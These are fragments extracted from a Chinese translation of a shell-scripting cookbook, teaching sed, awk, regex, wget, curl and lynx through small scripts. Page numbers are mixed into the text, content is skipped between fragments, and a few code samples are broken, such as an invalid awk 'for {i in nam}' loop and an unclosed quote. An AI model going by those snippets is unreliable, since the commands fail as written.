    {"text": "142 第 4 章 让文本飞 最后的/d告诉sed不执行替换操作，而是直接删除匹配到的空行： $ sed '/^$/d' file 2. 直接在文件中替换 如果将文件名传递给sed，它会将文件内容输出到stdout。"},
    {"text": "要是我们想就地（in place）修 改文件内容，可以使用选项-i： $ sed 's/PATTERN/replacement/' -i filename 例如，使用指定的数字替换文件中所有3位数的数字： $ cat sed_data.txt 11 abc 111 this 9 file contains 111 11 88 numbers 0000 $ sed -i 's/\\b[0-9]\\{3\\}\\b/NUMBER/g' sed_data.txt $ cat sed_data.txt 11 abc NUMBER this 9 file contains NUMBER 11 88 numbers 0000 上面的单行命令只替换了所有的3位数字。"},
    {"text": "另外，你也可 以使用下列形式的sed： sed -i.bak 's/abc/def/' file 这时的sed不仅替换文件内容，还会创建一个名为file.bak的文件，其中包含 着原始文件内容的副本。"},
    {"text": "3. 已匹配字符串标记（ & ） 在sed中，我们可以用&指代模式所匹配到的字符串，这样就能够在替换字符串时使用已匹 配的内容： $ echo this is an example | sed 's/\\w\\+/[&]/g' [this] [is] [an] [example] 在这个例子中，正则表达式\\w\\+匹配每一个单词，然后我们用[&]替换它。"},
    {"text": "我们还可以使用\\#来指代出现在括号中的部分正则表达式 4.5 使用 sed 替换文本 143 （注：子模式）所匹配到的内容： 1 $ echo this is digit 7 in a number | sed 's/digit \\([0-9]\\)/\\1/' this is 7 in a number 2 这条命令将digit 7替换为7。"},
    {"text": "3 $ echo seven EIGHT | sed 's/\\([a-z]\\+\\) \\([A-Z]\\+\\)/\\2 \\1/' EIGHT seven ([a-z]\\+\\)匹配第一个单词，\\([A-Z]\\+\\)匹配第二个单词。"},
    {"text": "5 5. 组合多个表达式 可以利用管道组合多个sed命令，多个模式之间可以用分号分隔，或是使用选项-e PATTERN： 6 sed 'expression' | sed 'expression' 它等同于 $ sed 'expression; expression' 7 或者 $ sed -e 'expression' -e 'expression' 8 考虑下列示例： $ echo abc | sed 's/a/A/' | sed 's/c/C/' AbC 9 $ echo abc | sed 's/a/A/;s/c/C/' AbC $ echo abc | sed -e 's/a/A/' -e 's/c/C/' AbC 10 6. 引用 sed表达式通常用单引号来引用。"},
    {"text": "4.6.1 预备知识 awk脚本的结构如下： awk 'BEGIN{ print \"start\" } pattern { commands } END{ print \"end\" }' file awk命令也可以从stdin中读取输入。"},
    {"text": "4.6.2 实战演练 简单的awk脚本可以放在单引号或双引号中： awk 'BEGIN { statements } { statements } END { end statements }' 或者 awk \"BEGIN { statements } { statements } END { end statements }\" 下面的命令会输出文件行数： $ awk 'BEGIN { i=0 } { i++ } END { print i}' filename 或者 $ awk \"BEGIN { i=0 } { i++ } END { print i }\" filename 4.6.3 工作原理 awk命令的工作方式如下。"},
    {"text": "如果没有提供模式，那么awk就认为所有的行都是匹配的： 5 $ echo -e \"line1\\nline2\" | awk 'BEGIN { print \"Start\" } { print } \\ END { print \"End\" } ' Start line1 6 line2 End 当使用不带参数的print时，它会打印出当前行。"},
    {"text": "例如： 8 $ echo | awk '{ var1=\"v1\"; var2=\"v2\"; var3=\"v3\"; \\ print var1,var2,var3 ; }' 该命令输出如下： 9 v1 v2 v3 echo命令向标准输出写入一行，因此awk的 { } 语句块中的语句只被执行一次。"},
    {"text": "拼接的使用方法如下： 11 $ echo | awk '{ var1=\"v1\"; var2=\"v2\"; var3=\"v3\"; \\ print var1 \"-\" var2 \"-\" var3 ; }' 该命令输出如下： 12 v1-v2-v3 14 146 第 4 章 让文本飞 { }就像一个循环体，对文件中的每一行进行迭代。"},
    {"text": "4.6.4 补充内容 awk命令与诸如grep、find和tr这类命令不同，它功能众多，而且拥有很多能够更改命令 行为的选项。 awk命令是一个解释器，它能够解释并执行程序，和shell一样，它也包括了一些特 殊变量。"},
    {"text": "例如： $ echo -e \"line1 f2 f3\\nline2 f4 f5\\nline3 f6 f7\" | \\ awk '{ print \"Line no:\"NR\",No of fields:\"NF, \"$0=\"$0, \"$1=\"$1,\"$2=\"$2,\"$3=\"$3 }' Line no:1,No of fields:3 $0=line1 f2 f3 $1=line1 $2=f2 $3=f3 Line no:2,No of fields:3 $0=line2 f4 f5 $1=line2 $2=f4 $3=f5 Line no:3,No of fields:3 $0=line3 f6 f7 $1=line3 $2=f6 $3=f7 我们可以用print $NF打印一行中最后一个字段，用 $(NF-1)打印倒数第二个字段，其他 字段以此类推。"},
    {"text": "下面的命令会打印出每一行的第二和第三个字段： $awk '{ print $3, $2 }' file 我们可以使用NR统计文件的行数： $ awk 'END{ print NR }' file 这里只用到了END语句块。"},
    {"text": "你可以将每一行中第一个字段的值按照下面的方法累加： 1 $ seq 5 | awk 'BEGIN { sum=0; print \"Summation:\" } { print $1\"+\"; sum+=$1 } END { print \"==\"; print sum }' Summation: 1+ 2 2+ 3+ 4+ 5+ 3 == 15 2. 将外部变量值传递给 awk 4 借助选项-v，我们可以将外部值（并非来自stdin）传递给awk： $ VAR=10000 5 $ echo | awk -v VARIABLE=$VAR '{ print VARIABLE }' 10000 还有另一种灵活的方法可以将多个外部变量传递给awk。 例如： 6 $ var1=\"Variable1\" ; var2=\"Variable2\" $ echo | awk '{ print v1,v2 }' v1=$var1 v2=$var2 Variable1 Variable2 7 当输入来自于文件而非标准输入时，使用下列命令： $ awk '{ print v1,v2 }' v1=$var1 v2=$var2 filename 8 在上面的方法中，变量以键值对的形式给出，使用空格分隔（v1=$var1 v2=$var2），作为awk 的命令行参数紧随在BEGIN、{}和END语句块之后。"},
    {"text": "例如： 11 $ seq 5 | awk 'BEGIN { getline; print \"Read ahead first line\", $0 } { print $0 }' Read ahead first line 1 2 12 3 4 5 14 148 第 4 章 让文本飞 4. 使用过滤模式对 awk 处理的行进行过滤 我们可以为需要处理的行指定一些条件： $ awk 'NR < 5' # 行号小于 5 的行 $ awk 'NR==1,NR==4' # 行号在 1 到 5 之间的行 $ awk '/linux/' # 包含模式为 linux 的行（可以用正则表达式来指定模式） $ awk '!/linux/' # 不包含模式为 linux 的行 5. 设置字段分隔符 默认的字段分隔符是空格。 我们也可以用选项-F指定不同的分隔符： $ awk -F: '{ print $NF }' /etc/passwd 或者 awk 'BEGIN { FS=\":\" } { print $NF }' /etc/passwd 在BEGIN语句块中可以用OFS=\"delimiter\"设置输出字段分隔符。"},
    {"text": "把命令放入引号中，然后利用管道将命令输出传入getline： \"command\" | getline output ; 下面的代码从/etc/passwd文件中读入一行，然后显示出用户登录名及其主目录。"},
    {"text": "$ awk 'BEGIN {FS=\":\"} { \"grep root /etc/passwd\" | getline; \\ print $1,$6 }' root /root 7. awk 的关联数组 除了数字和字符串类型的变量，awk还支持关联数组。"},
    {"text": "你可以通过中括号中索引的形式来分辨出关联数组： arrayName[index] 就像用户定义的简单变量一样，你也可以使用等号为数组元素赋值： myarray[index]=value 8. 在 awk 中使用循环 在awk中可以使用for循环，其格式与C语言中的差不多： for(i=0;i<10;i++) { print $i ; } 另外awk还支持列表形式的for循环，也可以显示出数组的内容： 4.7 统计特定文件中的词频 149 for(i in array) { print array[i]; } 1 下面的例子展示了如何将收集到的数据存入数组并显示出来。"},
    {"text": "这个脚本从/etc/password中读 取文本行，以:作为分隔符将行分割成字段，然后创建一个关联数组，数组的索引是登录ID，对 应的值是用户名： 2 $ awk 'BEGIN {FS=\":\"} {nam[$1]=$5} END {for {i in nam} \\ {print i,nam[i]}}' /etc/passwd root root 3 ftp FTP User userj Joe User 9. awk 内建的字符串处理函数 4 awk有很多内建的字符串处理函数。"},
    {"text": " sub(regex, replacement_str, string)：将正则表达式regex匹配到的第一处内容 7 替换成replacment_str。  gsub(regex, replacement_str, string)：和sub()类似。"},
    {"text": "现在来动手创建如下的脚本： #!/bin/bash # 文件名：word_freq.sh # 用途: 计算文件中单词的词频 if [ $# -ne 1 ]; then echo \"Usage: $0 filename\"; exit -1 fi filename=$1 egrep -o \"\\b[[:alpha:]]+\\b\" $filename | \\ awk '{ count[$0]++ } END{ printf(\"%-14s%s\\n\",\"Word\",\"Count\") ; for(ind in count) { printf(\"%-14s%d\\n\",ind,count[ind]); } } 输出如下： $ ./word_freq.sh words.txt Word Count used 1 this 2 counting 1 4.7.3 工作原理 egrep命令将文本文件转换成单词流，每行一个单词。"},
    {"text": "可以利用tr命令将大写单词和非大写 单词合计为一个单词，然后用sort命令排序输出： 4.8 压缩或解压缩 JavaScript 151 egrep -o \"\\b[[:alpha:]]+\\b\" $filename | tr [A-Z] [a-z] | \\ 1 awk '{ count[$0]++ } END{ printf(\"%-14s%s\\n\",\"Word\",\"Count\") ; for(ind in count) { printf(\"%-14s%d\\n\",ind,count[ind]); } 2 }' | sort 4.7.4 参考 3  1.7节讲解了Bash中的数组。"},
    {"text": "来考虑下面的 Javascript代码： 9 $ cat sample.js function sign_out() { 10 $(\"#loading\").show(); $.get(\"log_in\",{logout:\"True\"}, function(){ 11 window.location=\"\"; }); } 下面是压缩JavaScript代码所需要完成的工作。"},
    {"text": "4.8.2 实战演练 按照之前叙述过的步骤，我们使用下面的命令序列： $ cat sample.js | \\ tr -d '\\n\\t' | tr -s ' ' \\ | sed 's:/\\*.*\\*/::g' \\ | sed 's/ \\?\\([{}();,:]\\) \\?/\\1/g' 输出如下： function sign_out(){$(\"#loading\").show();$.get(\"log_in\", {logout:\"True\"}, function(){window.location=\"\";});} 接着写一个可以将这些混乱的代码恢复正常的解压缩脚本： $ cat obfuscated.txt | sed 's/;/;\\n/g; s/{/{\\n\\n/g; s/}/\\n\\n}/g' 或者 $ cat obfuscated.txt | sed 's/;/;\\n/g' | sed 's/{/{\\n\\n/g' | sed 's/}/\\n\\n}/g' 该脚本在使用上存在局限：它会删除本不该删除的空格。"},
    {"text": "(1) 移除\\n和\\t： tr -d '\\n\\t' (2) 移除多余的空格： tr -s ' ' 或者 sed 's/[ ]\\+/ /g' 4.9 按列合并多个文件 153 (3) 移除注释： 1 sed 's:/\\*.*\\*/::g' 因为我们需要使用/* 和*/，所以用:作为sed的分隔符，这样就不必对 / 进行转义了。"},
    {"text": "(4) 移除{,}、(,)、;、:以及,前后的空格： 3 sed 's/ \\?\\([{}();,:]\\) \\?/\\1/g' 上面的sed语句含义如下。"},
    {"text": "4  / \\?\\([{}();,:]\\) \\?/用于匹配，/\\1/g 用于替换。  \\([{}();,:]\\)用于匹配字符组[ { }( ) ; , : ]（出于可读性方面的考虑，在这 5 里加入了空格）中的任意一个字符。 \\(和\\)是分组操作符，用于记忆所匹配的内容，以 便在替换部分中进行向后引用。 对(和)转义之后，它们便具备了另一种特殊的含义，可 以作为分组操作符使用。 位于分组操作符前后的\\?用来匹配可能出现在字符集合周围 6 的空格。  在命令的替换部分，匹配的字符串（也就是一个可选的空格、一个来自字符集的字符 再加一个可选的空格）被匹配的子串所替换。 由分组操作符匹配到并记忆的子串是通 7 过向后引用来指代的。 可以用符号\\1向后引用该分组所匹配的内容。"},
    {"text": "解压缩命令的工作方式如下： 8  s/;/;\\n/g 将;替换为;\\n；  s/{/{\\n\\n/g 将{替换为{\\n\\n；  s/}/\\n\\n}/g 将}替换为\\n\\n}。"},
    {"text": "14 154 第 4 章 让文本飞 4.9.1 实战演练 可以用paste命令实现按列合并，其语法如下： $ paste file1 file2 file3 ... 让我们来尝试一下： $ cat file1.txt 1 2 3 4 5 $ cat file2.txt slynux gnu bash hack $ paste file1.txt file2.txt 1 slynux 2 gnu 3 bash 4 hack 5 默认的分隔符是制表符，也可以用-d指定分隔符： $ paste file1.txt file2.txt -d \",\" 1,slynux 2,gnu 3,bash 4,hack 5, 4.9.2 参考 4.4节讲解了如何从文本文件中提取数据。"},
    {"text": "4.11 打印指定行或模式之间的文本 155 (1) 用下面的命令打印第5列： 1 $ awk '{ print $5 }' filename (2) 也可以打印多列数据并在各列间插入指定的字符串。 2 如果要打印当前目录下各文件的权限和文件名，可以使用下列命令： $ ls -l | awk '{ print $1 \" : \" $8 }' -rw-r--r-- : delimited_data.txt 3 -rw-r--r-- : obfuscated.txt -rw-r--r-- : paste1.txt -rw-r--r-- : paste2.txt 4 4.10.2 参考  4.4节讲解了如何从文本文件中提取数据。"},
    {"text": "(1) 打印从M行到N行之间的文本： 11 $ awk 'NR==M, NR==N' filename awk也可以从stdin处读取输入： $ cat filename | awk 'NR==M, NR==N' 12 (2) 把M和N换成具体的数字： $ seq 100 | awk 'NR==4,NR==6' 14 4 156 第 4 章 让文本飞 5 6 (3) 打印位于模式start_pattern与end_pattern之间的文本： $ awk '/start_pattern/, /end_pattern/' filename 例如： $ cat section.txt line with pattern1 line with pattern2 line with pattern3 line end with pattern4 line with pattern5 $ awk '/pa.*3/, /end/' section.txt line with pattern3 line end with pattern4 awk中使用的模式为正则表达式。"},
    {"text": "(1) 该命令的语法如下： tac file1 file2 ... 它也可以从stdin中读取输入： $ seq 5 | tac 5 4.13 解析文本中的电子邮件地址和 URL 157 4 1 3 2 1 tac命令默认使用\\n作为行分隔符。"},
    {"text": "2 $ echo \"1,2\" | tac-s, 2 1 3 (2) 使用awk的实现方式如下： seq 9 | \\ awk '{ lifo[NR]=$0 } \\ 4 END { for(lno=NR;lno>-1;lno--){ print lifo[lno]; } }' 在shell脚本中，\\可以很方便地将单行命令拆解成多行。"},
    {"text": "9 4.13.1 实战演练 10 能够匹配电子邮件地址的正则表达式如下： [A-Za-z0-9._]+@[A-Za-z0-9.]+\\.[a-zA-Z]{2,4} 例如： 11 $ cat url_email.txt this is a line of text contains,<email> #slynux@slynux.com. </email> and email address, blog \"http://www.google.com\", test@yahoo.com dfdfdfdddfdf;cool.hacks@gmail.com<br /> 12 <a href=\"http://code.google.com\"><h1>Heading</h1> 因为用到了扩展正则表达式（例如+），所以得使用egrep命令： 14 $ egrep -o '[A-Za-z0-9._]+@[A-Za-z0-9.]+\\.[a-zA-Z]{2,4}' 158 第 4 章 让文本飞 url_email.txt slynux@slynux.com test@yahoo.com cool.hacks@gmail.com 匹配HTTP URL的egrep正则表达式如下： http://[a-zA-Z0-9\\-\\.]+\\.[a-zA-Z]{2,4} 例如： $ egrep -o \"http://[a-zA-Z0-9.]+\\.[a-zA-Z]{2,3}\" url_email.txt http://www.google.com http://code.google.com 4.13.2 工作原理 如果逐个部分进行设计，这些正则表达式其实很简单。 在匹配电子邮件地址的正则表达式中， 我们都知道电子邮件地址可以采用name@domain.some_2-4_letter_suffix这种形式。"},
    {"text": "那么， 在编写正则表达式时也要遵循同样的规则： [A-Za-z0-9.]+@[A-Za-z0-9.]+\\.[a-zA-Z]{2,4} [A-Za-z0-9.]+表示在表示字面意义的字符@出现之前，[]中的字符需要出现一次或多次（这 也正是+的含义）。"},
    {"text": "匹配HTTP URL与匹配电子邮件地址类似，只是不需要匹配name@部分： http://[a-zA-Z0-9.]+\\.[a-zA-Z]{2,3} 4.13.3 参考  4.2节讲解了如何使用正则表达式。"},
    {"text": "例如： $ cat sentence.txt 2 Linux refers to the family of Unix-like computer operating systems that use the Linux kernel. Linux can be installed on a wide variety of computer hardware, ranging from mobile phones, tablet computers and video game consoles, to mainframes and supercomputers. Linux is 3 predominantly known for its use in servers. 我们的目标是删除包含mobile phones的句子。 可以用下面的sed语句来实现： $ sed 's/ [^.]*mobile phones[^.]*\\.//g' sentence.txt 4 Linux refers to the family of Unix-like computer operating systems that use the Linux kernel. Linux is predominantly known for its use in servers. 5 这里假设文件中没有出现跨行的句子。"},
    {"text": "6 4.14.3 工作原理 sed的正则表达式s/ [^.]*mobile phones[^.]*\\.//g采用的格式为s/substitution_ 7 pattern/replacement_string/g。"},
    {"text": "假设我们希望将所有.cpp文件中的Copyright替换成Copyleft： find . -name *.cpp -print0 | \\ xargs -I{} -0 sed -i 's/Copyright/Copyleft/g' {} 4.15.2 工作原理 我们使用find命令在当前目录(.)下查找所有的.cpp文件。"},
    {"text": "4.15.3 补充内容 回忆一下，find有一个选项-exec，它可以对查找到的每个文件执行命令。 我们可以使用该 选项实现同样的效果或是改用下列命令： $ find . -name *.cpp -exec sed -i 's/Copyright/Copyleft/g' \\{\\} \\; 或者 $ find . -name *.cpp -exec sed -i 's/Copyright/Copyleft/g' \\{\\} \\+ 尽管这两个命令效果相同，但第一个命令会为查找到的每个文件调用一次sed，而在第二个命令 中，find会将多个文件名一并传递给sed。"},
    {"text": "替换变量内容中的部分文本： $ var=\"This is a line of text\" $ echo ${var/line/REPLACED} This is a REPLACED of text\" 4.16 文本切片与参数操作 161 单词line被替换成了REPLACED。"},
    {"text": "1 我们可以通过指定字符串的起始位置和长度来生成子串，其语法如下： ${variable_name:start_position:length} 2 下面的命令可以打印出第5个字符之后的内容： $ string=abcdefghijklmnopqrstuvwxyz $ echo ${string:4} 3 efghijklmnopqrstuvwxyz 从第5个字符开始，打印8个字符： 4 $ echo ${string:4:8} efghijkl 字符串起始字符的索引从0开始。"},
    {"text": "如果-1出现 5 在括号内，那么(-1)表示的就是最后一个字符的索引： echo ${string:(-1)} z 6 $ echo ${string:(-2):2} yz 7 4.16.2 参考 4.5节讲解了其他一些字符处理技巧。"},
    {"text": "本章内容  Web页面下载  通过Web服务器查询单词含义  以纯文本形式下载页面  查找网站中的无效链接  cURL入门  跟踪网站变动  从命令行访问未读的Gmail邮件  发送Web页面并读取响应  解析网站数据  从Internet下载视频  图片爬取器及下载工具  使用OTS汇总文本  网页相册生成器  在命令行中翻译文本  Twitter命令行客户端 5.1 简介 Web已经成为反映技术发展的晴雨表以及数据处理中心点。"},
    {"text": "我们可以用短短几行脚本自动化很多原本需 要通过浏览器交互进行的活动。 借助HTTP协议所提供的功能以及命令行实用工具，我们可以用 脚本满足大量的Web自动化需求。"},
    {"text": "5.2.1 预备知识 wget是一个用于文件下载的命令行工具，选项繁多且用法灵活。 5.2 Web 页面下载 163 5.2.2 实战演练 1 用wget可以下载Web页面或远程文件： $ wget URL 2 例如： $ wget knopper.net 3 --2016-11-02 21:41:23-- http://knopper.net/ Resolving knopper.net... 85.214.68.145 Connecting to knopper.net|85.214.68.145|:80... connected. HTTP request sent, awaiting response... 200 OK 4 Length: 6899 (6.7K) [text/html] Saving to: \"index.html.1\" 100% [=============================>]45.5K=0.1s 5 2016-11-02 21:41:23 (45.5 KB/s) - \"index.html.1\" saved [6899/6899] 可以指定从多个URL处进行下载： 6 $ wget URL1 URL2 URL3 .. 7 5.2.3 工作原理 下载的文件名默认和URL中的文件名会保持一致，下载日志和进度被写入stdout。"},
    {"text": "如果存在同名文件，那么该文件会被下载文件所取代： $ wget http://www.knopper.net -O knopper.html 9 也可以用选项-o指定一个日志文件，这样日志信息就不会被打印到stdout了。"},
    {"text": "选项-t可以指定在放弃下载之前尝试多 11 少次： $ wget -t 5 URL 12 将-t选项的值设为0会强制wget不断地进行重试： $ wget -t 0 URL 14 164 第 5 章 一团乱麻？"},
    {"text": "1. 下载限速 当下载带宽有限，却又有多个应用程序共享网络连接时，下载大文件会榨干所有的带宽，严 重阻滞其他进程（可能是交互式用户）。"},
    {"text": "选项--limit-rate可以限定下载任务能够占有的最大 带宽，从而保证其他应用程序能够公平地访问Internet: $ wget --limit-rate 20k http://example.com/file.iso 在命令中可以用k（千字节）和m（兆字节）指定速度限制。"},
    {"text": "在下载 多个文件时，对于存储空间有限的系统，限制总下载量是有必要的： $ wget -Q 100m http://example.com/file1 http://example.com/file2 2. 断点续传 如果wget在下载完成之前被中断，可以利用选项-c从断点开始继续下载： $ wget -c URL 3. 复制整个网站（镜像） wget像爬虫一样以递归的方式遍历网页上所有的URL链接，并逐个下载。"},
    {"text": "要实现这种操作， 可以使用选项--mirror： $ wget --mirror --convert-links exampledomain.com 或者 $ wget -r -N -l -k DEPTH URL 选项-l指定页面层级（深度）。"},
    {"text": "4. 访问需要认证的HTTP或FTP页面 一些网站需要HTTP或FTP认证，可以用--user和--password提供认证信息： $ wget --user username --password pass URL 5.3 以纯文本形式下载页面 165 也可以不在命令行中指定密码，而是在网页上手动输入密码，这就需要将--password改为 1 --ask-password。"},
    {"text": "Lynx是一款基 4 于命令行的Web浏览器，能够以纯文本形式下载Web网页。 5 5.3.1 预备知识 lynx命令默认并没有安装在各种发行版中，不过可以通过包管理器来获取： 6 # yum install lynx 或者 apt-get install lynx 7 5.3.2 实战演练 8 选项-dump能够以纯ASCII编码的形式下载Web页面。"},
    {"text": "下面的命令可以将下载到的页面保存 到文件中： 9 $ lynx URL -dump > webpage_as_text.txt 这个命令会将页面中所有的超链接（<a href=\"link\">）作为文本文件的页脚，单独放置在标 题为References的区域。"},
    {"text": "例如： 10 $lynx -dump http://google.com > plain_text_page.txt 你可以用cat命令查看纯文本形式的网页： 11 $ cat plain_text_page.txt Search [1]Images [2]Maps [3]Play [4]YouTube [5]News [6]Gmail [7]Drive 12 [8]More » [9]Web History | [10]Settings | [11]Sign in [12]St. Patrick's Day 2017 14 166 第 5 章 一团乱麻？"},
    {"text": "_________________________________________________________ Google Search I'm Feeling Lucky [13]Advanced search [14]Language tools [15]Advertising Programs [16]Business Solutions [17]+Google [18]About Google © 2017 - [19]Privacy - [20]Terms References ... 5.4 cURL 入门 cURL可以使用HTTP、HTTPS、FTP协议在客户端与服务器之间传递数据。"},
    {"text": "注意，其中的URL必 须是完整的，不能仅是站点的域名： $ curl www.knopper.net/index.htm --silent -O  选项-o可以指定输出文件名。 如果使用了该选项，只需要写明站点的域名就可以下载其 主页了： $curl www.knopper.net -o knoppix_index.html % Total % Received % Xferd Avg Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 6889 100 6889 0 0 10902 0 --:-- --:-- --:-- 26033 5.4 cURL 入门 167  选项--silent可以让curl命令不显示进度信息： 1 $ curl URL --silent  如果需要在下载过程中显示形如#的进度条，可以使用选项--progress： 2 $ curl http://knopper.net -o index.html --progress ################################## 100.0% 3 5.4.3 工作原理 cURL可以将Web页面或远程文件下载到本地系统。"},
    {"text": "2. 用cURL设置参照页字符串 10 参照页（referer）①是位于HTTP头部中的一个字符串，用来标识用户是从哪 个页面到达当前页面的。 如果用户通过点击页面A中的某个链接跳转到了页面B， 那么页面B头部的参照页字符串就会包含页面A的URL。"},
    {"text": "可以用curl命令的 --referer选项指定参照页字符串： $ curl --referer Referer_URL target_URL 例如： $ curl --referer http://google.com http://knopper.org 3. 用cURL设置cookie 我们可以用curl来指定并存储HTTP操作过程中使用到的cookie。"},
    {"text": "多个cookie之间使用分号分隔： $ curl http://example.com --cookie \"user=username;pass=hack\" 选项--cookie-jar可以将cookie另存为文件： $ curl URL --cookie-jar cookie_file 4. 用cURL设置用户代理字符串 如果不指定用户代理（user agent），一些需要检验用户代理的页面就无法显示。"},
    {"text": "你可以用curl来设置用户代理。 cURL的选项--user-agent或-A用于设置用户代理： $ curl URL --user-agent \"Mozilla/5.0\" cURL也能够发送其他HTTP头部信息。 使用-H \"Header\"传递多个头部信息： $ curl -H \"Host: www.knopper.net\" -H \"Accept-language: en\" URL 浏览器和爬虫使用的用户代理字符串各不相同。"},
    {"text": "5. 限定cURL可占用的带宽 如果多个用户共享带宽有限，我们可以用--limit-rate限制cURL的下载速度： $ curl URL --limit-rate 20k 在命令中用k（千字节）和m（兆字节）指定下载速度限制。 5.4 cURL 入门 169 6. 指定最大下载量 1 可以用--max-filesize选项指定可下载的最大文件大小： $ curl URL --max-filesize bytes 2 如果文件大小超出限制，命令返回一个非0的退出码。"},
    {"text": "4 使用-u username:password来指定用户名和密码： $ curl -u user:pass http://test_auth.com 5 如果你喜欢经提示后输入密码，只需要使用用户名即可： $ curl -u user http://test_auth.com 6 8. 只打印响应头部信息（不包括数据部分） 只检查头部信息就足以完成很多检查或统计。"},
    {"text": "检查HTTP头部的另一种用法就是通过检查其中的Content-Length字段来得知文件的大 小，或是检查Last-Modified字段，在下载之前了解文件是否比当前版本更新。"},
    {"text": "8 选项-I或--head可以只打印HTTP头部信息，无须下载远程文件： $ curl -I http://knopper.net 9 HTTP/1.1 200 OK Date: Tue, 08 Nov 2016 17:15:21 GMT Server: Apache Last-Modified: Wed, 26 Oct 2016 23:29:56 GMT 10 ETag: \"1d3c8-1af3-b10500\" Accept-Ranges: bytes Content-Length: 6899 Content-Type: text/html; charset=ISO-8859-1 11 5.4.5 参考 12 参考5.13节。"},
    {"text": "5.5.1 实战演练 来看下面这个脚本文件，它的作用是通过解析Gmail的RSS feed来显示未读的邮件： #!/bin/bash #用途: Gmail邮件读取工具 username='PUT_USERNAME_HERE' password='PUT_PASSWORD_HERE' SHOW_COUNT=5 # 需要显示的未读邮件数量 echo curl -u $username:$password --silent \\ \"https://mail.google.com/mail/feed/atom\" | \\ tr -d '\\n' | sed 's:</entry>:\\n:g' |\\ sed -n 's/.*<title>\\(.*\\)<\\/title.*<author><name>\\([^<]*\\)<\\/name><email> \\([^<]*\\).*/From: \\2 [\\3] \\nSubject: \\1\\n/p' | \\ head -n $(( $SHOW_COUNT * 3 )) 输出如下: $ ./fetch_gmail.sh From: SLYNUX [ slynux@slynux.com ] Subject: Book release - 2 From: SLYNUX [ slynux@slynux.com ] Subject: Book release - 1 . ... 5 entries 如果你的Gmail账户开启了双重身份认证，那就必须为此脚本生成一个新的 密钥并使用。"},
    {"text": "该脚本接下来的部分作为sed的单个表达式执行，用于提取相关字段： 3 sed 's/.*<title>\\(.*\\)<\\/title.*<author><name>\\([^<]*\\)<\\/name><email> \\([^<]*\\).*/Author: \\2 [\\3] \\nSubject: \\1\\n/' 4 脚本用<title>\\(.*\\)<\\/title匹配邮件标题，<author><name>\\([^<]*\\)<\\/ name>匹 配发件人姓名， <email>\\([^<]*\\)匹配发件人电子邮件地址。 sed利用反向引用，将邮件的作 者（author）、标题（title）和主题（subject）以易读的形式显示出来： 5 Author: \\2 [\\3] \\nSubject: \\1\\n \\1对应于第一处匹配（邮件标题） ，\\2对应于第二处匹配（发件人姓名），以此类推。"},
    {"text": "11 5.6.1 实战演练 12 下面来讲解用于从网站解析演员详细信息的命令： —————————— 14 ① 这里的SHOW_COUNT*3行文本并不包括脚本开始部分由echo生成的那一行（空行）。"},
    {"text": "$ lynx -dump -nolist \\ http://www.johntorres.net/BoxOfficefemaleList.html grep -o \"Rank-.*\" | \\ sed -e 's/ *Rank-\\([0-9]*\\) *\\(.*\\)/\\1\\t\\2/' | \\ sort -nk 1 > actresslist.txt 输出如下： # 由于篇幅有限，故只显示前 3 位演员的信息 1 Keira Knightley 2 Natalie Portman 3 Monica Bellucci 5.6.2 工作原理 Lynx是一个基于命令行的网页浏览器。"},
    {"text": "按照下面的方法用sed解析并格式化包含Rank的行： sed -e 's/ *Rank-\\([0-9]*\\) *\\(.*\\)/\\1\\t\\2/' 然后再根据评级情况对这些行进行排序。"},
    {"text": "5.7 图片爬取器及下载工具 图片爬取器（image crawler）可以下载Web页面上所有的图片。 不用翻遍页面手动保存图片， 我们可以用脚本识别图片并自动下载。 5.7.1 实战演练 下面的bash脚本可以识别并下载Web页面上的图片： #!/bin/bash #用途:图片下载工具 #文件名: img_downloader.sh if [ $# -ne 3 ]; then echo \"Usage: $0 URL -d DIRECTORY\" exit -1 fi 5.7 图片爬取器及下载工具 173 1 while [ $# -gt 0 ] do case $1 in -d) shift; directory=$1; shift ;; *) url=$1; shift;; 2 esac done mkdir -p $directory; 3 baseurl=$(echo $url | egrep -o \"https?://[a-z.\\-]+\") echo Downloading $url curl -s $url | egrep -o \"<img[^>]*src=[^>]*>\" | \\ 4 sed 's/<img[^>]*src=\\\"\\([^\"]*\\).*/\\1/g' | \\ sed \"s,^/,$baseurl/,\" > /tmp/$$.list cd $directory; 5 while read filename; do echo Downloading $filename curl -s -O \"$filename\" --silent 6 done < /tmp/$$.list 使用方法： 7 $ url=https://commons.wikimedia.org/wiki/Main_Page $ ./img_downloader.sh $url -d images 8 5.7.2 工作原理 图片下载器脚本首先解析HTML页面，除去<img>之外的所有标签，然后从<img>标签中解 析出src=\"URL\"并将图片下载到指定的目录中。"},
    {"text": "如果参数没有问题，就解析URL和目标目录： while [ -n \"$1\" ] do 11 case $1 in -d) shift; directory=$1; shift ;; *) url=${url:-$1}; shift;; esac done 12 while循环会一直处理完所有的参数。"},
    {"text": "采用这种方法来解析命令行参数的好处在于可以将-d置于命令行中的任意位置： $ ./img_downloader.sh -d DIR URL 或者 $ ./img_downloader.sh URL -d DIR egrep -o \"<img src=[^>]*>\"只打印带有属性值的<img>标签。"},
    {"text": "图像文件源路径有两种类型：相对路径和绝对路径。 绝对路径包含以http:// 或 https://起始 的完整URL，相对路径则以/或图像文件名起始。 例如http://example.com/image.jpg就是绝对路 径，而/image.jpg则是相对路径。 对于以/起始的相对路径，应该用基址URL（base URL）把它转换为 http://example.com/ image.jpg。"},
    {"text": "脚本初始化baseurl的方法是使用下列命令从初始URL中提取基址部分： baseurl=$(echo $url | egrep -o \"https?://[a-z.\\-]+\") 上述sed命令的输出通过管道传入另一个sed命令，后者使用baseurl替换掉起始的/ （leading /），其结果被保存在以脚本PID为名的文件中（/tmp/$$.list）： sed \"s,^/,$baseurl/,\" > /tmp/$$.list 最后的while循环用来逐行迭代图片的URL列表并使用curl下载图像文件。"},
    {"text": "4 5.8.2 实战演练 生成HTML相册页面的bash脚本如下： 5 #!/bin/bash #文件名: generate_album.sh #用途: 用当前目录下的图片创建相册 echo \"Creating album..\" 6 mkdir -p thumbs cat <<EOF1 > index.html <html> <head> 7 <style> body { 8 width:470px; margin:auto; border: 1px dashed grey; padding:10px; } 9 img { margin:5px; 10 border: 1px solid black; } </style> 11 </head> <body> <center><h1> #Album title </h1></center> <p> EOF1 12 for img in *.jpg; do convert \"$img\" -resize \"100x\" \"thumbs/$img\" 14 echo \"<a href=\\\"$img\\\" >\" >>index.html 176 第 5 章 一团乱麻？"},
